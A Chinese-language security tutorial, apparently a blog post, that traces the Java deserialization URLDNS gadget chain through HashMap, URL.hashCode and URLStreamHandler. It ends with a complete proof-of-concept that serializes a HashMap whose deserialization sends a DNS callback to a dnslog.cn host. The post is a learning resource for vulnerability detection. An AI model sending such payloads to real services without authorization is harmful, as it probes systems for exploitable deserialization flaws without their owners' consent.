Java反序列化-URLDNS利用链

URLDNS

公众号:Tutu安全,白日梦安全

        URLDNS链是用来检测目标是否存在反序列化漏洞的,它不限java版本,因为实在HashMap中触发的很难去对他进行限制,但是仅限于使用他验证是否存在反序列化漏洞,无法进行其他操作

原理

        在 Java的HashMap中,readObject方法在进行序列化时会调用key 的hash 方法,hash方法会把一个Object对象传进去,然后触发key调用hashCode 方法,刚好,URL 类里也实现了hashCode方法,而在这个方法里,它会调用URLStreamHandle下的getHostAddress方法去解析域名,这样就形成了一条调用链

代码分析

HashMap

        直接new 一个HashMap类跟进去,可以看到HashMap类继承了Serializable接口,那证明他可以被序列化

        我们找到他重写的readObject方法,在序列化的时候他会将key取出来放到hash方法中

        那么我们接着跟进hash,传递了一个Object类型的key,当key不等于null就会去调用了Object类下面的hashCode方法对key进行计算

URL.hashCode

        既然知道了最终这个key调用的方法那么我们就要去找谁调用了跟他同名的方法hashCode,找呀找最终找到URL类下有一个hashCode方法

        我们先看一下这个hashCode值是多少了,默认就是-1而且还是private权限,返回到URL.hashCode中

        跟进handler.hashCode方法,跳转到了URLStreamHandler类里这是专门处理URL类中传递http/https请求的类,这里传递了一个URL对象,然后将URL对象给getHostAddress进行解析,触发DNS请求

        拉到最上面看一下URLStreamHandler类的构成,这是个抽象类,并且没有继承序列化接口,那这条链为什么能构造出来呢?带着疑问返回到URL.hashCode中

        他是通过handler属性的hashCode方法跳转到了URLStreamHandler

        那么找一下handler的属性,这里发现是一个用transient修饰的临时类,transient修饰的属性不会被序列化 如果一个 URL对象被序列化并反序列化,它的handler会被恢复为null,因为transient字段在反序列化时不会被自动恢复

问题 为什么transient修饰的handler依然会影响hashCode的计算?

        虽然handler被transient修饰,在序列化中不会被保存,但是他在对象的生命周期中还是存在的,当URL对象被创建后,handler属性会被赋值为URLStreamHandler实例对象,所以hashCode计算并不依赖于handler能不能被序列化,而是依赖于他在当前URL对象的生命周期,通俗点说虽然URLStreamHandler 在URL类中是一个临时类但是只要URL在序列化和反序列化中被触发那么这个被transient修饰的handler就还是URLStreamHandler 类从而触发DNS请求

        回归正题接着分析,既然已经搞清楚了这些属性都是什么返回到URL.hashCode中继续进行分析

        判断hashCode是否被计算,如果已经被计算直接返回hashCode,这里需要hashCode等于-1也就是没有被计算才会进入URLStreamHandler.hashCode下触发DNS请求并返回

        那么基本的这条链也分析完了,整理一下执行流程,开始逐步完善我们的exp

HashMap->readObject
    HashMap->putVal
        HashMap->hash
            key.hashCode->URL.hashCode
                URL.hashCode->URLStreamHandler.getHostAddress

逐步完善EXP

        那么我们根据流程先创建一个HashMap,上面分析代码已经知道,最终触发点是key,所以我们就需要给key的类型设置成URL类,value类型随便,先在dnslog上申请一个测试链接

        然后我们返回到idea中完善代码,这里运行一下看下dnslog有没有记录

package org.example;

import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception{
        HashMap<URL,String> hashMap = new HashMap<>();
        hashMap.put(new URL("http://azp49i.dnslog.cn"),"sdad");

    }
}

public static void serialize(Object obj) throws Exception {
    ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oss.writeObject(obj);
}

public static Object unserialize(String filename) throws Exception, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
    Object obj = ois.readObject();
    return obj;
}

        这里发现我们在没有进行序列化和反序列化操作的时候就已经执行了DNS

        跟进一下hashMap.put,发现这里调用put传递URL对象的时候实际上就已经执行了putVal(hash,也就是说在前面分析的hashCode这个属性就会被计算就不会走到handler.hashCode中了

        那么由于hashCode是私有属性,我们没办法直接调用修改他,只能通过反射获取属性进行修改,先给hashCode改为除了-1以外的其他值,让他不走handler.hashCode在put完之后将hashCode属性值再改回-1触发DNS请求

最终EXP

package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception{
        HashMap<URL,String> hashMap = new HashMap<>();
        URL url = new URL("http://azp49i.dnslog.cn");
        Class c = url.getClass();
        Field field =  c.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,12);

        hashMap.put(url,"sdad");

        field.set(url,-1);

        serialize(hashMap);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);
    }

    public static Object unserialize(String filename) throws Exception, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值